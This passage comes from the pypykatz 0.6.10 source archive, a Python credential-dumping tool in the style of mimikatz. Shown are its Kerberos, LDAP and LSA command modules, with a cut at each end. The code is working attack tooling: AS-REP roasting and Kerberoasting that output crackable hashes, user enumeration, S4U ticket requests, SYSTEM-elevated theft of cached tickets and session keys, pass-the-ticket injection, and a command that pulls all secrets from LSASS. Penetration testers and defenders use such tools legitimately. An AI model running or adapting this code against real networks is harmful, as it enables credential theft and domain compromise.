("CountOfTickets", ULONG), ("Tickets", KERB_TICKET_CACHE_INFO * response_preparse.CountOfTickets) ] response = KERB_QUERY_TKT_CACHE_RESPONSE_ARRAY.from_buffer_copy(ret_msg) for ticket in response.Tickets: result.append(ticket.to_dict()) LsaFreeReturnBuffer(free_prt) return result def extract_ticket(lsa_handle, package_id, luid, target_name): message = retrieve_tkt_helper(target_name, logonid=luid) ret_msg, ret_status, free_ptr = LsaCallAuthenticationPackage(lsa_handle, package_id, message) ticket = {} if ret_status != 0: raise WinError(LsaNtStatusToWinError(ret_status)) if len(ret_msg) > 0: resp = KERB_RETRIEVE_TKT_RESPONSE.from_buffer_copy(ret_msg) ticket = resp.Ticket.get_data() LsaFreeReturnBuffer(free_ptr) return ticket if __name__ == '__main__': #luids = LsaEnumerateLogonSessions() #for luid in luids: # try: # session_info = LsaGetLogonSessionData(luid) # print(session_info) # except Exception as e: # import traceback # traceback.print_exc() # print(e) from pypykatz.commons.readers.local.common.privileges import RtlAdjustPrivilege from pypykatz.commons.winapi.processmanipulator import ProcessManipulator pm = ProcessManipulator() #lsa_handle = LsaConnectUntrusted() #package_id = LsaLookupAuthenticationPackage(lsa_handle, 'kerberos') #print(package_id) #message = KERB_PURGE_TKT_CACHE_REQUEST() #LsaCallAuthenticationPackage(lsa_handle, package_id, message) #LsaDeregisterLogonProcess(lsa_handle) import sys #print(LsaGetLogonSessionData(0)) #retrieve_tkt_helper('almaaaaasaaaa') #sys.exit() pm.getsystem() lsa_handle = LsaRegisterLogonProcess('HELLOOO') pm.dropsystem() package_id = LsaLookupAuthenticationPackage(lsa_handle, 'kerberos') with open('test_9.kirbi', 'rb') as f: ticket_data = f.read() luid = 0 message = submit_tkt_helper(ticket_data, logonid=luid) ret_msg, ret_status, free_ptr = LsaCallAuthenticationPackage(lsa_handle, package_id, message) print(get_lsa_error(ret_status)) print(ret_msg) # #print(lsa_handle_2) #LsaDeregisterLogonProcess(lsa_handle_2) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1705945354.0 pypykatz-0.6.10/pypykatz/kerberos/kerberos.py0000664000175000017500000002102014553524412020742 0ustar00webdevwebdev from pypykatz import logger import os import ntpath import glob from minikerberos.security import krb5userenum, asreproast, kerberoast from minikerberos.common.factory import KerberosClientFactory from minikerberos.common.spn import KerberosSPN from minikerberos.common.creds import KerberosCredential from minikerberos.common.target import KerberosTarget from minikerberos.common.keytab import Keytab from minikerberos.aioclient import AIOKerberosClient from minikerberos.common.utils import print_table from minikerberos.common.ccache import CCACHE, Credential from minikerberos.common.kirbi import Kirbi def process_target_line(target, realm = None, to_spn = True): spn = KerberosSPN() if to_spn is False: spn = KerberosCredential() line = target.strip() if line == '': return None m = line.find('@') if m == -1: if realm is not None: spn.username = line spn.domain = realm else: raise Exception('User %s is missing realm specification and no global realm is defined!' % line) else: spn.username, spn.domain = line.split('@',1) if realm is not None: spn.domain = realm return spn def generate_targets(targets, realm = None, to_spn = True): """ Takes a list of files or strings and generates a list of targets in @ format """ results = [] for target in targets: target = target.strip() try: open(target, 'r') except: x = process_target_line(target, realm = realm, to_spn = to_spn) if x: results.append(x) else: with open(target, 'r') as f: for line in f: x = process_target_line(line, realm = realm, to_spn = to_spn) if x: results.append(x) return results def process_keytab(keytablfile): with open(keytablfile, 'rb') as f: kt = Keytab.from_bytes(f.read()) print(str(kt)) def list_ccache(ccachefile): cc = CCACHE.from_file(ccachefile) table = [] table.append(['id'] + Credential.summary_header()) i = 0 for cred in cc.credentials: table.append([str(i)] + cred.summary()) i += 1 print() #this line intentionally left blank print_table(table) def roast_ccache(ccachefile, outfile = None): cc = CCACHE.from_file(ccachefile) if outfile: with open(outfile, 'wb') as f: for h in cc.get_hashes(all_hashes = True): f.write(h.encode() + b'\r\n') else: for h in cc.get_hashes(all_hashes = True): print(h) def del_ccache(ccachefile, index): output_filename = os.path.join(os.path.dirname(os.path.abspath(ccachefile)), '%s.edited.ccache' % ntpath.basename(ccachefile)) #sorry for this, im tired now :( cc = CCACHE.from_file(ccachefile) temp_cc = CCACHE() temp_cc.file_format_version = cc.file_format_version temp_cc.headerlen = cc.headerlen temp_cc.headers = cc.headers temp_cc.primary_principal = cc.primary_principal for i, cred in enumerate(cc.credentials): if i == index: continue temp_cc.credentials.append(cred) logger.info('Writing edited file to %s' % output_filename) temp_cc.to_file(output_filename) def ccache_to_kirbi(ccachefile, kirbidir): cc = CCACHE.from_file(ccachefile) logger.info('Extracting kirbi file(s)') cc.to_kirbidir(kirbidir) logger.info('Done!') def kirbi_to_ccache(ccachefile, kirbi): try: cc = CCACHE.from_file(ccachefile) except FileNotFoundError: cc = CCACHE() abs_path = os.path.abspath(kirbi) if os.path.isdir(abs_path): logger.info('Parsing kirbi files in directory %s' % abs_path) for kirbifile in glob.glob(kirbi + '*.kirbi'): cc.add_kirbi(kirbifile) else: cc.add_kirbi(kirbi) cc.to_file(ccachefile) async def get_TGS(url, spn, out_file = None, override_etype = None): try: logger.debug('[KERBEROS][TGS] started') if isinstance(override_etype, int): override_etype = [override_etype] ku = KerberosClientFactory.from_url(url) spn = KerberosSPN.from_user_email(spn) logger.debug('[KERBEROS][TGS] target user: %s' % spn.get_formatted_pname()) logger.debug('[KERBEROS][TGS] fetching TGT') kcomm = ku.get_client() await kcomm.get_TGT() logger.debug('[KERBEROS][TGS] fetching TGS') tgs, encTGSRepPart, key = await kcomm.get_TGS(spn, override_etype=override_etype) kirbi = Kirbi.from_ticketdata(tgs, encTGSRepPart) if out_file is not None: kirbi.to_file(out_file) logger.debug('[KERBEROS][TGS] done!') return tgs, encTGSRepPart, key, kirbi, None except Exception as e: return None, None, None, None, e async def get_TGT(url, override_etype = None): try: logger.debug('[KERBEROS][TGT] started') if isinstance(override_etype, int): override_etype = [override_etype] ku = KerberosClientFactory.from_url(url) cred = ku.get_creds() target = ku.get_target() logger.debug('[KERBEROS][TGT] cred: %s' % cred) logger.debug('[KERBEROS][TGT] target: %s' % target) kcomm = AIOKerberosClient(cred, target) logger.debug('[KERBEROS][TGT] fetching TGT') await kcomm.get_TGT(override_etype=override_etype) kirbi = Kirbi.from_ticketdata(kcomm.kerberos_TGT, kcomm.kerberos_TGT_encpart) return kirbi, None except Exception as e: return None, e async def brute(host, targets, out_file = None, show_negatives = False): """ targets List """ try: logger.debug('[KERBEROS][BRUTE] User enumeration starting') target = KerberosTarget(host) enumusers = [x.username for x in targets] realm = targets[0].realm async for username, result, _, err in krb5userenum(target, enumusers, realm): if err is not None: continue if result is True: if out_file: with open(out_file, 'a') as f: f.write(username + '\r\n') else: print('[+] Enumerated user: %s' % str(username)) logger.info('[KERBEROS][BRUTE] User enumeration finished') return None, None except Exception as e: return None, e async def asreproast(host, targets, out_file = None, etype = 23): """ targets List """ try: logger.debug('[KERBEROS][ASREPROAST] Roasting...') logger.debug('[KERBEROS][ASREPROAST] Supporting the following encryption type: %s' % (str(etype))) usernames = [x.username for x in targets] domain = targets[0].domain ks = KerberosTarget(host) hashes = [] async for _, h, err in asreproast(ks, usernames, domain, etype): if h is not None: hashes.append(str(h)) if out_file: with open(out_file, 'a', newline = '') as f: for thash in hashes: f.write(thash + '\r\n') else: print(h) logger.info('[KERBEROS][ASREPROAST] Done!') return hashes, None except Exception as e: return None, e async def spnroast(url, targets, out_file = None, etype = 23): """ targets List """ try: logger.debug('[KERBEROS][SPNROAST] Roasting...') if etype: if etype == -1: etypes = [23, 17, 18] else: etypes = [etype] else: etypes = [23, 17, 18] logger.debug('[KERBEROS][SPNROAST] Using the following encryption type(s): %s' % (','.join(str(x) for x in etypes))) ktargets = [x.username for x in targets] kdomain = targets[0].domain ku = KerberosClientFactory.from_url(url) hashes = [] async for username,h, err in kerberoast(ku, ktargets, kdomain, etypes): hashes.append(h) if out_file: with open(out_file, 'w', newline = '') as f: for thash in hashes: f.write(thash + '\r\n') else: for thash in hashes: print(thash) logger.info('[KERBEROS][SPNROAST] Done!') return hashes, None except Exception as e: return None, e async def s4u(url, spn, targetuser): try: logger.debug('[KERBEROS][S4U] Started') cu = KerberosClientFactory.from_url(url) ccred = cu.get_creds() target = cu.get_target() service_spn = KerberosSPN.from_target_string(spn) target_user = KerberosSPN.from_user_email(targetuser) if not ccred.ccache: logger.debug('[KERBEROS][S4U] Getting TGT') client = AIOKerberosClient(ccred, target) await client.get_TGT() logger.debug('[KERBEROS][S4U] Getting ST') res = await client.getST(target_user, service_spn) tgs, encTGSRepPart, key = res else: logger.debug('[KERBEROS][S4U] Getting TGS via TGT from CCACHE') for tgt, key in ccred.ccache.get_all_tgt(): try: logger.debug('[KERBEROS][S4U] Trying to get SPN with %s' % '!'.join(tgt['cname']['name-string'])) client = AIOKerberosClient.from_tgt(target, tgt, key) res = await client.getST(target_user, service_spn) tgs, encTGSRepPart, key = res logger.debug('[KERBEROS][S4U] Sucsess!') except Exception as e: logger.debug('[KERBEROS][S4U] This ticket is not usable it seems Reason: %s' % e) continue else: break logger.debug('[KERBEROS][S4U] Done!') kirbi = Kirbi.from_ticketdata(tgs, encTGSRepPart) return tgs, encTGSRepPart, key, kirbi, None except Exception as e: return None, None, None, None, e ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/kerberos/kerberoslive.py0000664000175000017500000003125114543266630021635 0ustar00webdevwebdev import datetime from winacl.functions.highlevel import get_logon_info from msldap.commons.factory import LDAPConnectionFactory from pypykatz.kerberos.functiondefs.asn1structs import InitialContextToken from minikerberos.common.utils import TGSTicket2hashcat from minikerberos.common.target import KerberosTarget from minikerberos.security import asreproast from minikerberos.common.creds import KerberosCredential from minikerberos.common.target import KerberosTarget from minikerberos.common.utils import TGSTicket2hashcat from minikerberos.protocol.asn1_structs import AP_REQ, KRB_CRED, EncKrbCredPart, \ KRBCRED, Authenticator, KrbCredInfo, EncryptedData, TGS_REQ, AP_REP from minikerberos.common.utils import print_table from minikerberos.common.ccache import CCACHE, Credential from minikerberos.protocol.structures import ChecksumFlags, AuthenticatorChecksum from minikerberos.protocol.encryption import Key, _enctype_table from pypykatz import logger from pypykatz.commons.winapi.processmanipulator import ProcessManipulator from pypykatz.kerberos.functiondefs.netsecapi import LsaConnectUntrusted, \ LsaLookupAuthenticationPackage, KERB_PURGE_TKT_CACHE_REQUEST, LsaCallAuthenticationPackage, \ LsaDeregisterLogonProcess, LsaRegisterLogonProcess, LsaEnumerateLogonSessions, \ LsaGetLogonSessionData, LsaFreeReturnBuffer, retrieve_tkt_helper, KERB_RETRIEVE_TKT_RESPONSE, \ get_lsa_error, get_ticket_cache_info_helper, extract_ticket, submit_tkt_helper, \ AcquireCredentialsHandle, InitializeSecurityContext, SECPKG_CRED, ISC_REQ, SEC_E, \ SecPkgContext_SessionKey, QueryContextAttributes, SECPKG_ATTR from pypykatz.kerberos.functiondefs.advapi32 import OpenProcessToken, GetTokenInformation_tokenstatistics from pypykatz.kerberos.functiondefs.kernel32 import GetCurrentProcessId, OpenProcess, CloseHandle, MAXIMUM_ALLOWED class KerberosLive: def __init__(self, start_luid = 0, helper_name = 'TOTALLY_NOT_PYPYKATZ'): self.available_luids = [] self.current_luid = start_luid self.original_luid = self.get_current_luid() self.kerberos_package_id = None self.helper_name = helper_name self.__lsa_handle = None self.__lsa_handle_is_elevated = None self.get_kerberos_package_id() self.list_luids() def get_kerberos_package_id(self): if self.kerberos_package_id is None: lsa_handle = LsaConnectUntrusted() self.kerberos_package_id = LsaLookupAuthenticationPackage(lsa_handle, 'kerberos') LsaDeregisterLogonProcess(lsa_handle) return self.kerberos_package_id def __open_elevated(self): if self.__lsa_handle_is_elevated is True: return self.__lsa_handle pm = ProcessManipulator() try: pm.getsystem() except Exception as e: raise Exception('Failed to obtain SYSTEM privileges! Are you admin? Error: %s' % e) self.__lsa_handle = LsaRegisterLogonProcess(self.helper_name) pm.dropsystem() self.__lsa_handle_is_elevated = True return self.__lsa_handle def open_lsa_handle(self, luid, req_elevated = False): if req_elevated is True: if self.__lsa_handle_is_elevated is True: return self.__lsa_handle return self.__open_elevated() if luid == 0 or self.original_luid == self.current_luid: self.__lsa_handle = LsaConnectUntrusted() self.__lsa_handle_is_elevated = False else: self.__open_elevated() return self.__lsa_handle def switch_luid(self, new_luid): self.open_lsa_handle(0, req_elevated=True) if new_luid not in self.available_luids: if new_luid not in self.list_luids(): raise Exception('This luid is not known!') self.current_luid = new_luid #def get_ticket_from_cache(self, luid, targetname): # self.open_lsa_handle(0, req_elevated=True) # ticket_data = None # msg_req_ticket = retrieve_tkt_helper(targetname, logonid = luid) # ret_msg, ret_status, free_prt = LsaCallAuthenticationPackage(self.__lsa_handle, self.kerberos_package_id, msg_req_ticket) # # #print('ret_msg %s' % ret_msg) # #print('ret_status %s' % ret_status) # if ret_status != 0: # raise get_lsa_error(ret_status) # # if len(ret_msg) > 0: # resp = KERB_RETRIEVE_TKT_RESPONSE.from_buffer_copy(ret_msg) # ticket_data = resp.Ticket.get_data() # LsaFreeReturnBuffer(free_prt) # # return ticket_data def get_ticketinfo(self, luid): if luid == 0: luid = self.original_luid self.open_lsa_handle(luid) ticket_infos = {} ticket_infos[luid] = [] for ticket_info in get_ticket_cache_info_helper(self.__lsa_handle, self.kerberos_package_id, luid, throw = False): ticket_infos[luid].append(ticket_info) return ticket_infos def get_all_ticketinfo(self): self.open_lsa_handle(0, req_elevated=True) ticket_infos = {} for luid in self.list_luids(): if luid not in ticket_infos: ticket_infos[luid] = [] for ticket_info in get_ticket_cache_info_helper(self.__lsa_handle, self.kerberos_package_id, luid, throw = False): if ticket_info != []: ticket_infos[luid].append(ticket_info) return ticket_infos def export_ticketdata_target(self, luid, target): self.open_lsa_handle(luid) return extract_ticket(self.__lsa_handle, self.kerberos_package_id, luid, target) def export_ticketdata(self, luid): if luid == 0: luid = self.original_luid ticket_data = {} if luid not in ticket_data: ticket_data[luid] = [] ticket_infos = self.get_all_ticketinfo() for ticket in ticket_infos[luid]: res = extract_ticket(self.__lsa_handle, self.kerberos_package_id, luid, ticket['ServerName']) ticket_data[luid].append(res) return ticket_data def export_all_ticketdata(self): self.open_lsa_handle(0, req_elevated=True) ticket_infos = self.get_all_ticketinfo() ticket_data = {} for luid in ticket_infos: if luid not in ticket_data: ticket_data[luid] = [] for ticket in ticket_infos[luid]: res = extract_ticket(self.__lsa_handle, self.kerberos_package_id, luid, ticket['ServerName']) ticket_data[luid].append(res) return ticket_data def get_current_luid(self): current_pid = GetCurrentProcessId() process_handle = OpenProcess(MAXIMUM_ALLOWED, False, current_pid) token_handle = OpenProcessToken(process_handle) stats = GetTokenInformation_tokenstatistics(token_handle) CloseHandle(process_handle) return stats['AuthenticationId'] def list_luids(self): self.available_luids = LsaEnumerateLogonSessions() return self.available_luids def list_sessions(self): for luid in self.available_luids: try: session_info = LsaGetLogonSessionData(luid) print('USER "%s\\%s" SPN "%s" LUID %s' % (session_info.get('LogonDomain', '.'), session_info['UserName'], session_info['Upn'], hex(session_info['LogonId']))) except Exception as e: logger.debug('Failed to get info for LUID %s Reason: %s' % (luid, e )) continue def purge(self, luid = None): luids = [] if luid is None: self.open_lsa_handle(0, req_elevated=True) luids += self.list_luids() else: luids.append(luid) self.open_lsa_handle(luid) for luid_current in luids: message = KERB_PURGE_TKT_CACHE_REQUEST(luid_current) message_ret, status_ret, free_ptr = LsaCallAuthenticationPackage(self.__lsa_handle, self.kerberos_package_id, message) if status_ret != 0: if len(luids) > 1: continue raise get_lsa_error(status_ret) if len(message_ret) > 0: LsaFreeReturnBuffer(free_ptr) def submit_ticket(self, ticket_data, luid = 0): self.open_lsa_handle(luid) message = submit_tkt_helper(ticket_data, logonid=luid) ret_msg, ret_status, free_ptr = LsaCallAuthenticationPackage(self.__lsa_handle, self.kerberos_package_id, message) if ret_status != 0: raise get_lsa_error(ret_status) if len(ret_msg) > 0: LsaFreeReturnBuffer(free_ptr) def get_tgt(self, target = None): if target is None: logon = get_logon_info() if logon['logonserver'] is None: raise Exception('Failed to get logonserver and no target was specified! This wont work.') target = 'cifs/%s' % logon['logonserver'] ctx = AcquireCredentialsHandle(None, 'kerberos', target, SECPKG_CRED.OUTBOUND) res, ctx, data, outputflags, expiry = InitializeSecurityContext( ctx, target, token = None, ctx = ctx, flags = ISC_REQ.DELEGATE | ISC_REQ.MUTUAL_AUTH | ISC_REQ.ALLOCATE_MEMORY ) if res == SEC_E.OK or res == SEC_E.CONTINUE_NEEDED: #key_data = sspi._get_session_key() raw_ticket = self.export_ticketdata_target(0, target) key = Key(raw_ticket['Key']['KeyType'], raw_ticket['Key']['Key']) token = InitialContextToken.load(data[0][1]) ticket = AP_REQ(token.native['innerContextToken']).native cipher = _enctype_table[ticket['authenticator']['etype']] dec_authenticator = cipher.decrypt(key, 11, ticket['authenticator']['cipher']) authenticator = Authenticator.load(dec_authenticator).native if authenticator['cksum']['cksumtype'] != 0x8003: raise Exception('Checksum not good :(') checksum_data = AuthenticatorChecksum.from_bytes(authenticator['cksum']['checksum']) if ChecksumFlags.GSS_C_DELEG_FLAG not in checksum_data.flags: raise Exception('delegation flag not set!') cred_orig = KRB_CRED.load(checksum_data.delegation_data).native dec_authenticator = cipher.decrypt(key, 14, cred_orig['enc-part']['cipher']) #info = EncKrbCredPart.load(dec_authenticator).native #reconstructing kirbi with the unencrypted data te = {} te['etype'] = 0 te['cipher'] = dec_authenticator ten = EncryptedData(te) t = {} t['pvno'] = cred_orig['pvno'] t['msg-type'] = cred_orig['msg-type'] t['tickets'] = cred_orig['tickets'] t['enc-part'] = ten cred = KRB_CRED(t) return cred.dump() def get_apreq(self, target): ctx = AcquireCredentialsHandle(None, 'kerberos', target, SECPKG_CRED.OUTBOUND) res, ctx, data, outputflags, expiry = InitializeSecurityContext( ctx, target, token = None, ctx = ctx, flags = ISC_REQ.ALLOCATE_MEMORY | ISC_REQ.CONNECTION ) if res == SEC_E.OK or res == SEC_E.CONTINUE_NEEDED: sec_struct = SecPkgContext_SessionKey() QueryContextAttributes(ctx, SECPKG_ATTR.SESSION_KEY, sec_struct) key_data = sec_struct.Buffer #print(data[0][1].hex()) ticket = InitialContextToken.load(data[0][1]).native['innerContextToken'] return AP_REQ(ticket), key_data async def live_roast(outfile = None): try: logon = get_logon_info() domain = logon['domain'] url = 'ldap+sspi-ntlm://%s' % logon['logonserver'] msldap_url = LDAPConnectionFactory.from_url(url) client = msldap_url.get_client() _, err = await client.connect() if err is not None: raise err domain = client._ldapinfo.distinguishedName.replace('DC=','').replace(',','.') spn_users = [] asrep_users = [] errors = [] results = [] final_results = [] spn_cnt = 0 asrep_cnt = 0 async for user, err in client.get_all_knoreq_users(): if err is not None: raise err cred = KerberosCredential() cred.username = user.sAMAccountName cred.domain = domain asrep_users.append(cred) async for user, err in client.get_all_service_users(): if err is not None: raise err cred = KerberosCredential() cred.username = user.sAMAccountName cred.domain = domain spn_users.append(cred) asrepusernames = [x.username for x in asrep_users] asrepdomain = asrep_users[0].domain async for username, h, err in asreproast(KerberosTarget(domain), asrepdomain, asrepusernames, override_etype = [23]): if err is not None: errors.append((username,err)) else: asrep_cnt += 1 results.append(str(h)) if outfile is not None: filename = outfile + 'asreproast_%s_%s.txt' % (logon['domain'], datetime.datetime.utcnow().strftime("%Y%m%d_%H%M%S")) with open(filename, 'w', newline = '') as f: for thash in results: asrep_cnt += 1 f.write(thash + '\r\n') else: final_results += results results = [] for cred in spn_users: spn_name = '%s@%s' % (cred.username, cred.domain) if spn_name[:6] == 'krbtgt': continue try: ctx = AcquireCredentialsHandle(None, 'kerberos', spn_name, SECPKG_CRED.OUTBOUND) res, ctx, data, outputflags, expiry = InitializeSecurityContext( ctx, spn_name, token = None, ctx = ctx, flags = ISC_REQ.ALLOCATE_MEMORY | ISC_REQ.CONNECTION ) if res == SEC_E.OK or res == SEC_E.CONTINUE_NEEDED: ticket = InitialContextToken.load(data[0][1]).native['innerContextToken'] else: raise Exception('Error %s' % res.value) except Exception as e: print(e) errors.append((spn_name, e)) continue results.append(TGSTicket2hashcat(ticket)) if outfile is not None: filename = outfile+ 'spnroast_%s_%s.txt' % (logon['domain'], datetime.datetime.utcnow().strftime("%Y%m%d_%H%M%S")) with open(filename, 'w', newline = '') as f: for thash in results: spn_cnt += 1 f.write(thash + '\r\n') else: final_results += results return final_results, errors, None except Exception as e: return None, None, e ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/kerberos/kirbiutils.py0000664000175000017500000000327314543266630021325 0ustar00webdevwebdev from minikerberos.protocol.asn1_structs import KRB_CRED, EncKrbCredPart, KRBCRED import base64 def format_kirbi(data, n = 100): kd = base64.b64encode(data).decode() return ' ' + '\r\n '.join([kd[i:i+n] for i in range(0, len(kd), n)]) def describe_kirbi_data(data): if isinstance(data, bytes): kirbi = KRB_CRED.load(data).native elif isinstance(data, dict): kirbi = data elif isinstance(data, KRB_CRED): kirbi = data.native elif isinstance(data, KRBCRED): kirbi = data.native else: raise Exception('Unknown data type! %s' % type(data)) t = '\r\n' for ticket in kirbi['tickets']: t += 'Realm : %s\r\n' % ticket['realm'] t += 'Sname : %s\r\n' % '/'.join(ticket['sname']['name-string']) if kirbi['enc-part']['etype'] == 0: cred = EncKrbCredPart.load(kirbi['enc-part']['cipher']).native cred = cred['ticket-info'][0] username = cred.get('pname') if username is not None: username = '/'.join(username['name-string']) flags = cred.get('flags') if flags is not None: flags = ', '.join(flags) t += 'UserName : %s\r\n' % username t += 'UserRealm : %s\r\n' % cred.get('prealm') t += 'StartTime : %s\r\n' % cred.get('starttime') t += 'EndTime : %s\r\n' % cred.get('endtime') t += 'RenewTill : %s\r\n' % cred.get('renew-till') t += 'Flags : %s\r\n' % flags t += 'Keytype : %s\r\n' % cred['key']['keytype'] t += 'Key : %s\r\n' % base64.b64encode(cred['key']['keyvalue']).decode() t += 'EncodedKirbi : \r\n\r\n' t += format_kirbi(KRB_CRED(kirbi).dump()) return t def print_kirbi(data): print(describe_kirbi_data(data)) def parse_kirbi(kirbifile): with open(kirbifile, 'rb') as f: print_kirbi(f.read())././@PaxHeader0000000000000000000000000000003400000000000010212 xustar0028 mtime=1721570196.3113644 pypykatz-0.6.10/pypykatz/ldap/0000775000175000017500000000000014647211624015667 5ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/ldap/__init__.py0000664000175000017500000000000014543266630017770 0ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/ldap/cmdhelper.py0000664000175000017500000001055214543266630020211 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # from pypykatz import logger import asyncio import argparse import logging """ LDAP is not part of pypykatz directly. This is a wrapper for msldap """ class LDAPCMDArgs: def __init__(self): self.url = None self.verbose = 0 self.no_interactive = False self.commands = ['login', 'i'] msldap_subcommand_list = [] msldap_epilog = 'FOR AVAILABLE SUBCOMMANDS TYPE "... ldap help" insted of "-h" ' class LDAPCMDHelper: def __init__(self): self.live_keywords = ['ldap'] self.keywords = ['ldap'] def add_args(self, parser, live_parser): ldap_group = parser.add_parser('ldap', help='LDAP related commands') ldap_subparsers = ldap_group.add_subparsers() ldap_subparsers.required = True ldap_subparsers.dest = 'ldap_module' ldap_client_group = ldap_subparsers.add_parser('client', help='LDAP client. Use "help" instead of "-h" to get the available subcommands') ldap_client_group.add_argument('-v', '--verbose', action='count', default=0, help='Verbosity, can be stacked') ldap_client_group.add_argument('url', help="LDAP connection string") ldap_client_group.add_argument('commands', nargs='*', help="!OPTIONAL! Takes a series of commands which will be executed until error encountered. If the command is 'i' is encountered during execution it drops back to interactive shell.") live_subcommand_parser = argparse.ArgumentParser(add_help=False) live_ldap_subparsers = live_subcommand_parser.add_subparsers(help = 'LIVE LDAP commands work under the current user context.') live_ldap_subparsers.required = True live_ldap_subparsers.dest = 'liveldapcommand' live_client_parser = live_ldap_subparsers.add_parser('client', help='LDAP (live) client. Use "help" instead of "-h" to get the available subcommands', epilog=msldap_epilog) live_client_parser.add_argument('--host', help= 'Specify a custom logon server.') live_client_parser.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'ntlm', help= 'Authentication method to use during login') live_client_parser.add_argument('-v', '--verbose', action='count', default=0, help='Verbosity, can be stacked') live_client_parser.add_argument('commands', nargs='*', help="!OPTIONAL! Takes a series of commands which will be executed until error encountered. If the command is 'i' is encountered during execution it drops back to interactive shell.") live_group = live_parser.add_parser('ldap', help='LDAP (live) commands', parents=[live_subcommand_parser]) def execute(self, args): if args.command in self.keywords: self.run(args) if len(self.live_keywords) > 0 and args.command == 'live' and args.module in self.live_keywords: self.run_live(args) def run_live(self, args): from msldap import logger as ldaplogger from msldap.examples.msldapclient import amain from winacl.functions.highlevel import get_logon_info info = get_logon_info() logonserver = info['logonserver'] if args.host is not None: logonserver = args.host ldap_url = 'ldap+sspi-%s://%s\\%s@%s' % (args.authmethod, info['domain'], info['username'], logonserver) if args.verbose == 0: ldaplogger.setLevel(100) elif args.verbose == 1: print('Using the following auto-generated URL: %s' % ldap_url) ldaplogger.setLevel(level=logging.INFO) else: level = 5 - args.verbose ldaplogger.setLevel(level=level) if args.liveldapcommand == 'client': la = LDAPCMDArgs() la.url = ldap_url la.verbose = args.verbose if args.commands is not None and len(args.commands) > 0: la.commands = [] if args.commands[0] == 'help': la.commands = ['help'] else: if args.commands[0] != 'login': la.commands.append('login') for command in args.commands: la.commands.append(command) asyncio.run(amain(la)) def run(self, args): from msldap.examples.msldapclient import amain if args.ldap_module == 'client': la = LDAPCMDArgs() la.url = args.url la.verbose = args.verbose if args.commands is not None and len(args.commands) > 0: la.commands = [] if args.commands[0] == 'help': la.commands = ['help'] else: if args.commands[0] != 'login': la.commands.append('login') for command in args.commands: la.commands.append(command) asyncio.run(amain(la)) ././@PaxHeader0000000000000000000000000000003400000000000010212 xustar0028 mtime=1721570196.3113644 pypykatz-0.6.10/pypykatz/lsadecryptor/0000775000175000017500000000000014647211624017462 5ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/lsadecryptor/__init__.py0000664000175000017500000000021714543266630021575 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # from .lsa_templates import * from .lsa_decryptor import * from .packages import *././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/lsadecryptor/cmdhelper.py0000664000175000017500000002630014543266630022002 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # import os import json import glob import ntpath import traceback import base64 from pypykatz import logger from pypykatz.pypykatz import pypykatz from pypykatz.commons.common import UniversalEncoder from pypykatz.lsadecryptor.packages.msv.decryptor import LogonSession from minidump.minidumpfile import MinidumpFile from pypykatz.commons.common import KatzSystemInfo class LSACMDHelper: def __init__(self): self.live_keywords = ['lsa'] self.keywords = ['lsa'] def add_args(self, parser, live_parser): live_group = live_parser.add_parser('lsa', help='Get all secrets from LSASS') live_group.add_argument('--json', action='store_true',help = 'Print credentials in JSON format') live_group.add_argument('-e','--halt-on-error', action='store_true',help = 'Stops parsing when a file cannot be parsed') live_group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)') live_group.add_argument('-k', '--kerberos-dir', help = 'Save kerberos tickets to a directory.') live_group.add_argument('-g', '--grep', action='store_true', help = 'Print credentials in greppable format') live_group.add_argument('--method', choices = ['procopen', 'handledup'], default = 'procopen', help = 'LSASS process access method') live_group.add_argument('-p','--packages', choices = ['all','msv', 'wdigest', 'tspkg', 'ssp', 'livessp', 'dpapi', 'cloudap', 'kerberos'], nargs="+", default = 'all', help = 'LSASS package to parse') group = parser.add_parser('lsa', help='Get secrets from memory dump') group.add_argument('cmd', choices=['minidump','rekall','info']) group.add_argument('memoryfile', help='path to the dump file') group.add_argument('-t','--timestamp_override', type=int, help='enforces msv timestamp override (0=normal, 1=anti_mimikatz)') group.add_argument('--json', action='store_true',help = 'Print credentials in JSON format') group.add_argument('-e','--halt-on-error', action='store_true',help = 'Stops parsing when a file cannot be parsed') group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)') group.add_argument('-k', '--kerberos-dir', help = 'Save kerberos tickets to a directory.') group.add_argument('-r', '--recursive', action='store_true', help = 'Recursive parsing') group.add_argument('-d', '--directory', action='store_true', help = 'Parse all dump files in a folder') group.add_argument('-g', '--grep', action='store_true', help = 'Print credentials in greppable format') group.add_argument('-p','--packages', choices = ['all','msv', 'wdigest', 'tspkg', 'ssp', 'livessp', 'dpapi', 'cloudap', 'kerberos'], nargs="+", default = 'all', help = 'LSASS package to parse') def execute(self, args): if len(self.keywords) > 0 and args.command in self.keywords: self.run(args) if len(self.live_keywords) > 0 and args.command == 'live' and args.module in self.live_keywords: self.run_live(args) def process_results(self, results, files_with_error, args): if args.outfile and args.json: with open(args.outfile, 'w') as f: json.dump(results, f, cls = UniversalEncoder, indent=4, sort_keys=True) elif args.outfile and args.grep: with open(args.outfile, 'w', newline = '', errors='replace') as f: f.write(':'.join(LogonSession.grep_header) + '\r\n') for result in results: for luid in results[result].logon_sessions: for row in results[result].logon_sessions[luid].to_grep_rows(): f.write(':'.join(row) + '\r\n') elif args.outfile: with open(args.outfile, 'w', errors='replace') as f: for result in results: f.write('FILE: ======== %s =======\n' % result) for luid in results[result].logon_sessions: f.write('\n'+str(results[result].logon_sessions[luid])) if len(results[result].orphaned_creds) > 0: f.write('\n== Orphaned credentials 